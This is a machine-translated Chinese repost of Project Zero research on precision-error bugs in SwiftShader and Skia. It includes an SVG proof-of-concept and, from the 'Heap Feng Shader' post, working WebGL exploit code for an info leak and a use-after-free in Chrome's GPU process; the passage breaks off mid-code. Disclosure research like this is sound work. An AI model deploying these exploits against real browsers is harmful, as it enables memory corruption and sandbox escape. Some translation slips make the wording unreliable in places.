这需要使用非整数值计算内存索引,而非整数值正是该漏洞发生的地方。
正如在最初的bug报告中所指出的,我们将在这里查看的代码并不完全是实际运行的代码——SwftShader使用基于LLVM的JIT引擎在运行时优化性能关键型代码,但该代码比它们的回退实现更难理解,并且两者包含相同的缺陷,因此我们将讨论回退代码。
以下代码是在渲染过程中用于将像素从一个曲面复制到另一个曲面的复制循环:

source->lockInternal((int)sRect.x0, (int)sRect.y0, sRect.slice, sw::LOCK_READONLY, sw::PUBLIC);
 dest->lockInternal(dRect.x0, dRect.y0, dRect.slice, sw::LOCK_WRITEONLY, sw::PUBLIC);

 float w = sRect.width() / dRect.width();
 float h = sRect.height() / dRect.height();

 const float xStart = sRect.x0 + 0.5f * w;
 float y = sRect.y0 + 0.5f * h;
 float x = xStart;

 for(int j = dRect.y0; j < dRect.y1; j++)
 {
   x = xStart;

   for(int i = dRect.x0; i < dRect.x1; i++)
   {
     // FIXME: Support RGBA mask
     dest->copyInternal(source, i, j, x, y, options.filter);

     x += w;
   }

   y += h;
 }

 source->unlockInternal();
 dest->unlockInternal();
}

那么-这段代码的问题是什么呢?
在进入这个函数之前,我们知道所有的边界检查都已经执行了,并且对 copyInternal (i, j)和sRect的(x,y) 的任何调用都是安全的。
以上介绍中的示例显示了由此产生的精度错误意味着发生四舍五入的情况-在这种情况下,这不足以产生一个有趣的安全错误。
我们是否可以导致浮点不精确导致大于正确的值,从而导致(x,y)值大于预期?
如果我们查看代码,开发人员的意图是计算以下内容:

 for(int j = dRect.y0; j < dRect.y1; j++)
 {
   for(int i = dRect.x0; i < dRect.x1; i++)
   {
     x = xStart + (i * w);
     Y = yStart + (j * h);
     dest->copyInternal(source, i, j, x, y, options.filter);
   }
 }

如果使用这种方法,我们仍然会有精度误差-但是如果没有迭代计算,就不会有误差的传播,我们可以期望精度误差的最终大小是稳定的,并且与操作数的大小成正比。
随着迭代计算在代码中的执行,误差开始传播,滚雪球一样产生越来越大的误差。
有一些方法可以估计浮点计算中的最大错误;如果您真的需要避免额外的边界检查,那么使用这种方法并确保围绕这些最大错误有保守的安全裕度可能是解决这个问题的一种复杂且容易出错的方法。

这不是一个很好的来确定问题价值的方法,我们在这里想要证明一个漏洞;因此,我们将采取一种暴力的方法。
基本上,我们相当肯定在计算机算法中:乘法实现将大致正确,而迭代相加的实现将不那么正确。
考虑到可能输入的空间很小(Chrome不允许宽度或高度大于8192的纹理),我们可以对源宽度与目标宽度的所有比率运行蛮力,比较这两种算法,并查看结果最不同的地方。(请注意,快速着色器也将我们限制为偶数)。
这导致我们得到5828,8132的值;如果我们比较这种情况下的计算(左侧是迭代加法,右侧是乘法):

0:1.075012 1.075012。
1:1.791687 1.791687。
……
到这里为止(以所示的精度计算),这些值仍然是相同的
1001:718.466553 718.466553。
……
2046:1467.391724 1467.391724 此时,第一个重大错误开始出现,但请注意“不正确”的结果比更精确的结果要小。
2047:1468.108398 1468.108521
……
2856:2047.898315 2047.898438
2857:2048.614990 2048.614990 在这里,我们的两个计算结果再次吻合,简单地说,从这里开始,精度误差始终比更精确的计算更倾向于得到更大的结果。
2858:2049.331787 2049.331787
2859:2050.048584 2050.048340
……
8129:5827.567871 5826.924805
8130:5828.284668 5827.641602
8131:5829.001465 5828.358398 最后一个索引现在有很大的不同,INT转换会产生一个OOB index。

(还请注意,在“安全”计算中也会有错误;只是缺少错误传播意味着错误将与输入错误的大小成正比,我们预计输入错误的大小是“小”的。)。

我们确实可以看到,乘法算法将保持在边界内;但是迭代算法可以返回超出输入纹理边界的索引!
结果,我们读取了纹理分配结束后的整行像素——这很容易使用WebGL泄漏回javascript。
请继续关注即将发布的一篇博客文章,在这篇文章中,我们将使用这个漏洞以及另一个不相关的问题来控制来自javascript的GPU进程。

Skia
SKIA是在Chrome、Firefox和Android中使用的图形库。在Web浏览器中,例如在使用CanvasRenderingContext2D绘制到画布HTML元素或绘制SVG图像时使用它
在绘制其他各种HTML元素时也使用SKIA,但从安全角度看,Canvas元素和SVG图像更有趣,因为它们可以对图形库绘制的对象进行更直接的控制。
Skia可以绘制的最复杂的对象类型(因此,从安全角度看也是最有趣的)是路径。路径是由元素(例如直线)和更复杂的曲线(尤其是二次或三次样条曲线)组成的对象。由于软件绘图算法在SKIA中的工作方式,精度问题非常可能发生,并且当它们发生时非常有影响,通常会导致越界写入。

为了理解为什么会发生这些问题,让我们假设内存中有一个图像(表示为一个缓冲区,大小=宽度x高度x颜色大小)。通常,在绘制具有坐标(x,y)和颜色c的像素时,您需要确保该像素实际位于图像的空间内,特别是0<=x 如果无法检查这一点,可能会导致尝试将像素写入分配的缓冲区的边界之外。

在计算机图形学中,确保只绘制图像区域中的对象称为剪裁。那么,问题出在哪里?就CPU周期而言,对每个像素进行剪辑检查是非常昂贵的,而Skia则以速度为傲
因此,Skia所做的不是对每个像素进行剪辑检查,而是首先对整个对象(例如,直线、路径或正在绘制的任何其他类型的对象)进行剪辑检查。
根据剪辑检查,有三种可能的结果:

【1】对象完全位于绘图区域之外:绘图函数不绘制任何内容并立即返回。
【2】对象部分位于绘图区域内:绘图功能在启用每像素剪辑的情况下继续进行(通常依赖于 SkRectClipBlitter)。
【3】整个对象都在绘图区域中:绘图函数直接绘制到缓冲区中,而不执行每像素剪辑检查。

有问题的场景是【3】仅对每个对象执行剪辑检查,并且禁用更精确的每像素检查。这意味着,如果在每个对象剪辑检查和绘制像素之间的某个位置存在精度问题,并且精度问题导致像素坐标超出绘图区域,则可能会导致安全漏洞。

我们可以看到每个对象剪辑检查导致在多个位置丢弃每像素检查,例如:

在 hair_path(用于绘制不填充路径的函数)中,clip 最初设置为 null(这将禁用片段检查)。仅当路径边界(根据绘图选项向上舍入并按1或2扩展,https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&rcl=d92a739d72ae70fc8122dc077b0f751d4b1dd023&l=511)不适合绘图区域时,才会设置剪辑。将路径边界扩展1似乎是一个相当大的安全裕度,但实际上它是最不可能的安全值,因为启用抗锯齿的绘制对象有时会导致绘制到附近的像素。

在SkScan::FillPath(用于在禁用抗锯齿的情况下填充路径的函数)中,路径的边界首先由 kConservativeRoundBias扩展,然后舍入以获得“保守”路径边界。然后为当前路径创建一个SkScanClipper对象。正如我们在SkScanClipper的定义中所看到的,只有当路径边界的x坐标在绘图区域之外,或者如果irPreClipped 为true(只有当路径坐标非常大时才会发生这种情况),它才会使用SkRectClipBlitter。

在其他绘图功能中也可以看到类似的图案。
在我们更深入地了解这些问题之前,快速浏览一下Skia使用的各种数字格式是非常有用的:

【1】SkScalar是一个32位浮点数字。
【2】SkFDot6被定义为一个整数,但它实际上是一个固定的数字,其中26位在小数点的左边,6位在小数点的右边。 例如,SkFDot6值0×00000001表示数字1/64。
【3】SkFixed也是一个定点数字,这一次小数点的左侧为16位,右侧为16位。例如,SkFix值0×00000001表示1/(2**16)

整数到浮点数转换的精度误差。
去年,我们在对Firefox进行DOM模糊化时发现了最初的问题。这个问题引起了我们的注意,因为Skia写出了越界,所以我们做了进一步的调查。事实证明,根本原因是Skia在几个地方将浮点转换为int的方式存在差异。
在进行每路径片段检查时,使用以下函数舍入较低的坐标(边界框的左侧和顶部):

static inline int round_down_to_int(SkScalar x) {
   double xx = x;
   xx -= 0.5;
   return (int)ceil(xx);
}

查看代码,您会发现对于严格大于-0.5的数字,它将返回一个大于或等于零的数字(这是通过路径级别剪辑检查所必需的)。
但是,在代码的另一部分(特别是 SkEdge::setLine )中,如果定义了SK_RASTERIZE_EVEN_ROUNDING (在Firefox中就是这种情况),则使用以下函数将浮点数舍入为整数:

inline SkFDot6 SkScalarRoundToFDot6(SkScalar x, int shift = 0)
{
   union {
       double fDouble;
       int32_t fBits[2];
   } tmp;
   int fractionalBits = 6 + shift;
   double magic = (1LL << (52 - (fractionalBits))) * 1.5;

   tmp.fDouble = SkScalarToDouble(x) + magic;
#ifdef SK_CPU_BENDIAN
   return tmp.fBits[1];
#else
   return tmp.fBits[0];
#endif
}

现在让我们看一看这两个函数返回的数字-0.499。对于这个数字,舍入_DOWN_TO_INT返回0(始终通过剪裁检查),而SkScalarRoundToFDot6返回-32(对应于-0.5),因此最终得到的数字实际上比开始时的小。

但是,这并不是唯一的问题,因为在SkEdge::setLine中还有另一个发生精度错误的地方:小数相乘时的精度错误。

SkEdge::setLine调用SkFixedMul,定义为:

static inline SkFixed(SkFixed a, SkFixed b) {
   return (SkFixed)((int64_t)a * b >> 16);
}

此函数用于将两个SkFixed数相乘。使用此函数乘以负数时会出现问题。 让我们来看一个小例子。 假设a=-1/(2**16),b=1/(2**16)。如果我们在纸上把这两个数字相乘,结果是-1/(2**32)。

然而,由于SkFixedMul的工作方式,特别是因为右移位被用来将结果转换回SkFixed格式,我们最终得到的结果是0xFFFFFFFF,即SkFixed为-1/(2**16)。

因此,我们最终得到的结果比预期的要大得多。由于SkEdge::setLine使用此乘法的结果在此处调整初始线点的x坐标,因此我们可以使用SkFixedMul中的问题导致一个像素的1/64的误差并超出绘图区域边界。

通过将前两个问题结合起来,可以得到一条足够小(小于-0.5)的直线的x坐标,因此,当这里的分数表示被舍入为整数时,Skia试图在x=-1的坐标上绘制,这显然超出了图像的边界。
这就导致了越界写入,这可以在原始的bug报告中看到。
如上一节所述,通过绘制具有坐标的SVG图像,可以在Firefox中利用此漏洞进行攻击。

将样条曲线转换为直线段时的浮点精度错误

绘制路径时,SKIA会将所有非线性曲线(圆锥形状、二次样条曲线和三次样条曲线)转换为直线段。也许不出所料,这些转换会受到精度错误的影响。
样条曲线到直线段的转换发生在多个位置,但最易受浮点精度错误影响的是 hair_quad (用于绘制二次曲线)和 hair_cubic(用于绘制三次曲线)。这两个函数都是从 hair_path调用的,我们前面已经提到过。
因为(不出所料),在处理三次样条时会出现较大的精度误差,因此这里只考虑三次情况。在逼近样条曲线时,首先在SkCubicCoeff中计算三次系数。
最有趣的部分是:

fA = P3 + three * (P1 - P2) - P0;
fB = three * (P2 - times_2(P1) + P0);
fC = three * (P1 - P0);
fD = P0;

其中P1、P2和P3为输入点,fA、fB、fC和fD为输出系数。然后使用以下代码在hair_cubic中计算直线段点

const Sk2s dt(SK_Scalar1 / lines);
Sk2s t(0);

...

Sk2s A = coeff.fA;
Sk2s B = coeff.fB;
Sk2s C = coeff.fC;
Sk2s D = coeff.fD;
for (int i = 1; i < lines; ++i) {
   t = t + dt;
   Sk2s p = ((A * t + B) * t + C) * t + D;
   p.store(&tmp[i]);
}

其中p是输出点,线是我们用来近似曲线的线段数。根据样条曲线的长度,三次样条曲线最多可以近似为512条直线。
很明显,这里的算术不会很精确。由于对x和y坐标进行了相同的计算,让我们只考虑POST其余部分中的x坐标。

假设绘图区域的宽度为1000像素。由于hair_path用于在启用抗锯齿的情况下绘制路径,因此需要确保路径的所有点在1到999之间,这是在初始路径级片段检查中完成的。
让我们考虑以下坐标,这些坐标都通过了此检查:

p0 = 1.501923
p1 = 998.468811
p2 = 998.998779
p3 = 999.000000

对于这些点,系数如下

a = 995.908203
b = -2989.310547
c = 2990.900879
d = 1.501923

如果你在更大的精度上做同样的计算,你会注意到这里的数字不太正确。现在,让我们看看如果我们用512条线段近似样条线会发生什么。这将产生513个x坐标:

0: 1.501923
1: 7.332130
2: 13.139574
3: 18.924301
4: 24.686356
5: 30.425781
...
500: 998.986389
501: 998.989563
502: 998.992126
503: 998.994141
504: 998.995972
505: 998.997314
506: 998.998291
507: 998.999084
508: 998.999695
509: 998.999878
510: 999.000000
511: 999.000244
512: 999.000000

我们可以看到,x坐标不断增长,在点511明显超出了“安全”区域,并增长大于999。
碰巧,这不足以触发越界写入,因为由于绘制抗锯齿线在Skia中的工作方式,我们需要至少将像素移到剪辑区域之外的1/64,这样才会成为一个安全问题。
但是,在这种情况下,有关精度错误的一个有趣的事情是,绘图区域越大,可能发生的错误就越大。
因此,让我们考虑一个32767像素的绘图区域(Chrome中的最大画布大小)。
初始剪裁检查然后检查所有路径点是否在[1,32766]间隔内。
现在让我们考虑以下几点:

p0 = 1.7490234375
p1 = 32765.9902343750
p2 = 32766.000000
p3 = 32766.000000

对应系数

a = 32764.222656
b = -98292.687500
c = 98292.726562
d = 1.749023

和相应的直线近似

0: 1.74902343
1: 193.352295
2: 384.207123
3: 574.314941
4: 763.677246
5: 952.295532
…
505: 32765.925781
506: 32765.957031
507: 32765.976562
508: 32765.992188
509: 32766.003906
510: 32766.003906
511: 32766.015625
512: 32766.000000

你可以看到,我们在指数511上越界的次数要多得多。
对Skia来说幸运的是,对于有抱负的攻击者来说不幸的是,这个错误不能用来触发内存损坏,至少在最新版本的SKIA中不能。
原因是SkDrawTiler。
每当Skia使用SkBitmapDevice绘制(而不是使用GPU设备)且绘图区域在任何维度上大于8191像素时,Skia都会将其拆分为(最多)8191×8191像素的平铺,而不是一次绘制整个图像。
这一更改是在3月份进行的,不是出于安全原因,而是为了能够支持更大的绘制表面。
然而,它仍然有效地阻止了我们利用这一问题,也将防止利用其他情况,即需要大于8191的曲面才能达到足够大的精度误差。
尽管如此,这个错误在三月之前是可以利用的,我们认为它很好地展示了精度错误的概念。

将样条曲线转换为直线段时的整数精度错误

在绘制(在本例中为填充)也受精度错误影响的路径时,还有另一个位置可以将样条曲线近似为线段,在本例中为可利用的路径。
有趣的是,这里的精度误差不是在浮点运算中,而是在定点运算中。
此错误发生在SkQuadraticEdge::setQuadraticWithoutUpdate和SkCubicEdge::setCubicWithoutUpdate中。
为了简单起见,我们将再次集中在三次样条曲线的版本上,并且,同样地,只关注x坐标。
在SkCubicEdge::setCubicWithoutUpdate中,曲线坐标首先转换为SkFDot6类型(分数使用6位的整数)。
在此之后,将计算与曲线在初始点处的一阶、二阶和三阶导数相对应的参数:

SkFixed B = SkFDot6UpShift(3 * (x1 - x0), upShift);
SkFixed C = SkFDot6UpShift(3 * (x0 - x1 - x1 + x2), upShift);
SkFixed D = SkFDot6UpShift(x3 + 3 * (x1 - x2) - x0, upShift);

fCx     = SkFDot6ToFixed(x0);
fCDx    = B + (C >> shift) + (D >> 2*shift);    // biased by shift
fCDDx   = 2*C + (3*D >> (shift - 1));           // biased by 2*shift
fCDDDx  = 3*D >> (shift - 1);                   // biased by 2*shift

其中x0、x1、x2和x3是定义三次样条曲线的4个点的x坐标,并且移动和向上移动取决于曲线的长度(这对应于将在其中近似曲线的线性分段的数量)。
为简单起见,我们可以假设Shift=upShift=6(最大可能值)。
现在让我们看看一些非常简单的输入值会发生什么情况:
x0 = -30
x1 = -31
x2 = -31
x3 = -31

请注意,x0、x1、x2和x3的类型为skFDot6,因此值-30对应于-0.46875,-31对应于-0.484375。这接近-0.5,但四舍五入的时候很安全。
现在,让我们检查计算参数的值:

B = -192
C = 192
D = -64

fCx = -30720
fCDx = -190
fCDDx = 378
fCDDDx = -6

你知道问题出在哪里了吗?提示:它在fCDx中。在计算fCDx(曲线的第一次求导)时,D需要的值右移12。然而,D太小,不能精确地做到这一点,因为D是负的,所以右移 D >> 2*shift 将会得到-1,它的大小比预期的结果要大。
(由于D的类型为SkFixed,其实际值为-0.0009765625,如果将其解释为除以4096时,将得到-2.384185e-07)。正因为如此,整个fCDx的负值最终会大于应有的负值(-190 vs. -189.015)。

然后,在计算直线段的x值时使用fCDx的值。
这发生在以下行的SkCubicEdge::updateCubic中:

newx = oldx + (fCDx >> dshift);

当用64条直线段近似样条曲线时(此算法的最大值),x值将为(表示为索引、整数SkFix值和相应的浮点值):

index raw      interpretation
0:    -30720   -0.46875
1:    -30768   -0.469482
2:    -30815   -0.470200
3:    -30860   -0.470886
4:    -30904   -0.471558
5:    -30947   -0.472214
...
31:   -31683   -0.483444
32:   -31700   -0.483704
33:   -31716   -0.483948
34:   -31732   -0.484192
35:   -31747   -0.484421
36:   -31762   -0.484650
37:   -31776   -0.484863
38:   -31790   -0.485077
...
60:   -32005   -0.488358
61:   -32013   -0.488480
62:   -32021   -0.488602
63:   -32029   -0.488724
64:   -32037   -0.488846

您可以看到,对于第35个点,x值(-0.484421)最终小于最小的输入点(-0.484375),而对于后面的点,趋势仍在继续。
不过,此值仍将舍入为0,但还有另一个问题。
在SkCubicEdge::updateCubic中计算的x值将传递给SkEdge::updateLine,然后在以下行将它们从SkFixed类型转换为SkFDot6:

x0 >>= 10;
x1 >>= 10;

又一次右转!例如,当SkFixed值-31747被移动时,我们得到的skFDot6值为-32,表示-0.5。 在这一点上,我们可以使用上面“小数相乘时的精度错误”部分中描述的相同技巧,使其小于-0.5并超出图像边界。
换句话说,在绘制路径时,我们可以使Skia绘制到x=-1。
但是,我们能用它做什么呢? 通常,考虑到Skia将图像像素分配为逐行组织的单个分配(就像大多数其他软件会分配位图一样),在精度问题上可能会发生几种情况。
如果我们假设宽度x高度图像,并且只能超出边界一个像素:
【1】绘制到y=-1或y=高度会立即导致堆越界写入。
【2】绘制到x=-1且y=0的图形会立即导致1个像素的堆下溢。
【3】绘制到x=宽度且y=高度-1的图形会立即导致1个像素的堆溢出。
【4】使用y>0绘制到x=-1会导致像素“溢出”到上一个图像行。
【5】使用y

这里我们得到的是场景【4】不幸的是,当y=0时,我们不能画到x=1,因为精度误差需要在y的增长值上累积。
让我们来看一下下面的SVG图像示例:

<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<style>
body {
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
margin-left: 0px
}
</style>
<path d="M -0.46875 -0.484375 C -0.484375 -0.484375, -0.484375 -0.484375, -0.484375 100 L 1 100 L 1 -0.484375" fill="red" shape-rendering="crispEdges" />
</svg>

如果我们在Firefox的一个未打补丁的版本中呈现这一点,我们所看到的将如下图所示。
请注意SVG只包含屏幕左侧的坐标,而一些红色像素绘制在右侧。
这是因为,由于图像的分配方式,绘制到x=-1和y=row等于绘制到x=Width-1和y=row-1。

https://lh4.googleusercontent.com/C2gzyHeEV-fHnuOjvyr9g3C-XPiL0xFApDL3vZx_hQDZ4hi_ppuYmRTN1myDJFRcCvsq86j–_-YGEjQUMw-X2OavBEM-2nWz5ay1cjAppcbrYkQhIXHcSWUiEMmeX34gYlBMJwQ

请注意,我们使用的是Mozilla Firefox,而不是Google Chrome,因为SVG绘制内部内容(具体地说:Skia似乎一次绘制整个图像,而Chrome使用其他平铺)更容易在Firefox中演示此问题。
然而,Chrome和Firefox都同样受到了这个问题的影响。

但是,除了画一个有趣的图片,这个问题是否有真正的安全影响?
在这里,SkARGB32_Shader_Blitter 得到了补救(只要将着色器效果应用到Skia中的颜色,就会使用SkARGB32_Shader_Blitter )。
SkARGB32_Shader_Blitter 的特殊之处在于,它分配的临时缓冲区的大小与单个图像行的大小相同。

当使用 SkARGB32_Shader_Blitter::blitH 绘制整个图像行时,如果可以使其从x=-1到x=Width-1(从x=0到x=宽度交替绘制),则需要将Width+1像素写入只能容纳宽度像素的缓冲区,导致缓冲区溢出,如错误报告中的ASAN日志所示。
请注意Chrome和Firefox的POC如何包含具有线性Gradient元素的SVG图像——线性渐变专门用于选择SkARGB32_Shader_Blitter,而不是直接将像素绘制到图像中,这只会导致像素溢出到上一行。

此问题的另一个具体问题是,只有在关闭了抗锯齿功能的情况下绘制(更具体地说:填充)路径时,才能达到此目的。
由于目前不可能在禁用抗锯齿的情况下绘制指向HTML画布元素的路径(存在ImageSmoothingEnabled属性,但它仅适用于绘制图像,而不适用于路径),因此必须使用具有shape-rendering=”crispEdges”的SVG图像来触发问题。

我们在Skia中报告的所有精度问题都通过增加 kConservativeRoundBias 得到了修复。
虽然当前的偏差值足够大,足以涵盖我们所知的最大精度误差,但我们不应排除在其他地方可能出现精度问题的可能性。

结语

虽然在这篇博客文章中描述的精度问题不会出现在大多数软件产品中,但在它们存在的地方,它们可能会产生相当严重的后果。

为防止其发生,请执行以下操作:
【1】在结果对安全性敏感的情况下,不要使用浮点算法。
【2】如果您必须这样做,那么您需要确保最大可能的精度误差不能大于某个安全裕度。
【3】在某些情况下,区间算法可以用来确定最大精度误差。
【4】或者,对结果执行安全检查,而不是输入。
【5】使用整数运算时,要警惕可能会降低结果精度的任何操作,例如除法和右移位。

不幸的是,当涉及到发现这些问题时,似乎没有一种很好的方法可以做到这一点。
当我们开始研究Skia时,最初我们想尝试在绘图算法上使用符号执行来查找会导致绘制越界的输入值,因为从表面上看,这似乎是一个非常适合符号执行的问题。
然而,在实践中,存在着太多的问题:大多数工具不支持浮点符号变量,而且,即使只针对最简单的线条绘制算法的整数部分运行,我们也未能在合理的时间内完成运行(我们使用的是带有STP和Z3后端的KLEE https://klee.github.io/)。
最后,我们所做的是一些比较老套的方法的组合:手动源代码检查、fuzzing(特别是在接近图像边界的值中),在某些情况下,当我们已经识别出可能存在问题的代码区域时,甚至可能需要强制执行所有可能的值的范围。

Thursday, November 29, 2018 by blast

Heap Feng Shader: Exploiting SwiftShader in Chrome



机器翻译+简单人工润色于 https://googleprojectzero.blogspot.com/2018/10/heap-feng-shader-exploiting-swiftshader.html

Wednesday, October 24, 2018
马克·布兰德(Mark Brand)发布,Project Zero。

在大多数系统上,在正常情况下,Chrome永远不会使用SwiftShader-如果您有已知错误的“列入黑名单”的图形卡或驱动程序,它将用作后备。但是,Chrome还可以在运行时确定您的图形驱动程序存在问题,并切换到使用SWIFT Shader以提供更好的用户体验。
如果您对性能差异感兴趣,或者只是想玩一玩,您可以使用SwiftShader 启动Chrome,而不是使用-DISABLE-GPU命令行标志来启动GPU加速。
SwiftShader 是Chrome中一个相当有趣的攻击面,因为所有的渲染工作都是在一个单独的进程(GPU进程)中完成的。
由于此进程负责绘制到屏幕上,因此它需要比通常处理网页内容的高度沙箱化的渲染器进程具有更多的权限。

在典型的Linux桌面系统配置上,沙箱访问X11服务器方面的技术限制意味着这个沙箱非常薄弱;在Windows等其他平台上,GPU进程仍然可以访问更大的内核攻击面。
我们是否可以编写一个在GPU进程中获得代码执行而不首先损害渲染器的漏洞攻击?
我们将关注利用我们报告的两个问题,这两个问题最近由Chrome解决了。
事实证明,如果你有一个受支持的GPU,它仍然是一个相对简单的攻击:攻击者强制您的浏览器使用快速的图形着色器——如果GPU进程崩溃超过4次,Chrome将回落到这一软件渲染路径,而不是禁用加速。
在我的测试中,让GPU进程崩溃或遇到来自WebGL的内存不足问题非常简单——这是留给感兴趣的读者的练习。
对于这篇博文的其余部分,我们将假设GPU进程已经处于回退软件渲染模式。

先前的精度问题

我们之前讨论了由SwftShader代码中的一些精度问题导致的信息泄漏问题——因此,我们将从这里开始,从这个问题中找到一个有用的泄漏原语。
稍作调整后,我得到了下面的结果,该结果将在GPU进程中分配一个大小为0xb620000的纹理,当函数read()被调用时,它将直接在该缓冲区后面返回0×10000字节返回给javascript。
(分配将发生在标记的第一行,越界访问发生在第二行)。

function issue_1584(gl) {
 const src_width  = 0x2000;
 const src_height = 0x16c4;

 // we use a texture for the source, since this will be allocated directly
 // when we call glTexImage2D.

 this.src_fb = gl.createFramebuffer();
 gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb);

 let src_data = new Uint8Array(src_width * src_height * 4);
 for (var i = 0; i < src_data.length; ++i) {
   src_data[i] = 0x41;
 }

 let src_tex = gl.createTexture();
 gl.bindTexture(gl.TEXTURE_2D, src_tex);
【1】  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_width, src_height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_data);
 gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
 gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
 gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0);

 this.read = function() {
   gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb);

   const dst_width  = 0x2000;
   const dst_height = 0x1fc4;

   dst_fb = gl.createFramebuffer();
   gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);

   let dst_rb = gl.createRenderbuffer();
   gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb);
   gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_width, dst_height);
   gl.framebufferRenderbuffer(gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb);

   gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);

   // trigger
【2】   gl.blitFramebuffer(0, 0, src_width, src_height,
                      0, 0, dst_width, dst_height,
                      gl.COLOR_BUFFER_BIT, gl.NEAREST);

   // copy the out of bounds data back to javascript
   var leak_data = new Uint8Array(dst_width * 8);
   gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb);
   gl.readPixels(0, dst_height - 1, dst_width, 1, gl.RGBA, gl.UNSIGNED_BYTE, leak_data);
   return leak_data.buffer;
 }

 return this;
}

这看起来可能是一个非常粗糙的泄漏原语,但由于SWIFTShader使用的是系统堆,因此很容易安排直接在此分配之后的内存可以安全地访问。

还有第二个错误

现在,我们拥有的下一个漏洞是一个由引用计数溢出引起的 egl::ImageImplementation 对象的UAF 漏洞。
从利用的角度来看,这个对象是一个非常好的对象,因为从javascript中我们可以从它存储的数据中读写,所以似乎最好的利用方法是用一个损坏的版本替换这个对象;但是,由于它是一个c++对象,我们需要在GPU进程中打破ASLR来实现这一点。
如果您阅读的是利用漏洞攻击代码,则feng_shader.html中的函数leak_image实现了egl::ImageImplementation对象的粗略喷射,并使用上面的信息泄漏来查找要复制的对象。

所以——盘点一下:

我们刚刚释放了一个对象,并且我们确切地知道应该在该对象中的数据是什么样子的。
这看起来很简单——现在我们只需要找到一个允许我们替换它的原语就可以了!这实际上是该漏洞中最令人沮丧的部分。
由于OpenGL命令从WebGL传递到GPU进程时会发生多个级别的验证/复制(初始WebGL验证(在渲染器中)、GPU命令缓冲区接口、ANGLE验证),因此使用受控制的数据获得控制大小的单个分配是非常重要的!
我们期望有用的大多数分配数据(图像/纹理数据等)到最后有很多的大小限制或被四舍五入到不同的大小。

但是,有一个很好的原语做这个——shader uniforms。
这就是将参数传递给可编程GPU着色器的方式;如果我们查看SwiftShader代码,我们可以看到(最终)在分配这些参数时,它们将直接调用operator new[]。
我们可以从uniform存储的数据中读取和写入数据,因此这将为我们提供所需的原语。
下面的代码实现了SwiftShader/GPU进程中(非常基本的)堆修饰的这一技术,以及用于溢出引用计数的优化方法。
当链接程序对象时,Shader源代码(第一个标记的部分)将产生4次大小为0xf0的分配,第二个标记部分是原始对象将被释放并替换为Shader uniform对象的位置。

function issue_1585(gl, fake) {
 let vertex_shader = gl.createShader(gl.VERTEX_SHADER);
 gl.shaderSource(vertex_shader, `
【1】   attribute vec4 position;
【1】  uniform int block0[60];
【1】   uniform int block1[60];
【1】   uniform int block2[60];
【1】   uniform int block3[60];

【1】   void main() {
【1】     gl_Position = position;
【1】     gl_Position.x += float(block0[0]);
【1】     gl_Position.x += float(block1[0]);
【1】     gl_Position.x += float(block2[0]);
【1】     gl_Position.x += float(block3[0]);
【1】   }`);
 gl.compileShader(vertex_shader);

 let fragment_shader = gl.createShader(gl.FRAGMENT_SHADER);
 gl.shaderSource(fragment_shader, `
   void main() {
     gl_FragColor = vec4(0.0, 0.0, 0.0, 0.0);
   }`);
 gl.compileShader(fragment_shader);

 this.program = gl.createProgram();
 gl.attachShader(this.program, vertex_shader);
 gl.attachShader(this.program, fragment_shader);

 const uaf_width = 8190;
 const uaf_height = 8190;

 this.fb = gl.createFramebuffer();
 uaf_rb = gl.createRenderbuffer();

 gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.fb);
 gl.bindRenderbuffer(gl.RENDERBUFFER, uaf_rb);
 gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA32UI, uaf_width, uaf_height);
 gl.framebufferRenderbuffer(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, uaf_rb);

 let tex = gl.createTexture();
 gl.bindTexture(gl.TEXTURE_CUBE_MAP, tex);
 // trigger
 for (i = 2; i < 0x10; ++i) {
   gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
 }

 function unroll(gl) {
   gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
   // snip ...
   gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
 }

 for (i = 0x10; i < 0x100000000; i += 0x10) {
   unroll(gl);
 }

【2】 // the egl::ImageImplementation for the rendertarget of uaf_rb is now 0, so
【2】 // this call will free it, leaving a dangling reference
【2】 gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, 256, 256, 0);

【2】 // replace the allocation with our shader uniform.
【2】 gl.linkProgram(this.program);
【2】 gl.useProgram(this.program);

 function wait(ms) {
   var start = Date.now(),
   now = start;
   while (now - start < ms) {
     now = Date.now();
   }
 }

 function read(uaf, index) {
   wait(200);
   var read_data = new Int32Array(60);
   for (var i = 0; i < 60; ++i) {
     read_data[i] = gl.getUniform(uaf.program, gl.getUniformLocation(uaf.program, 'block' + index.toString() + '[' + i.toString() + ']'));
   }
   return read_data.buffer;
 }

 function write(uaf, index, buffer) {
   gl.uniform1iv(gl.getUniformLocation(uaf.program, 'block' + index.toString()), new Int32Array(buffer));
   wait(200);
 }

 this.read = function() {
   return read(this, this.index);
 }

 this.write = function(buffer) {
   return write(this, this.index, buffer);
 }

 for (var i = 0; i < 4; ++i) {
   write(this, i, fake.buffer);
 }

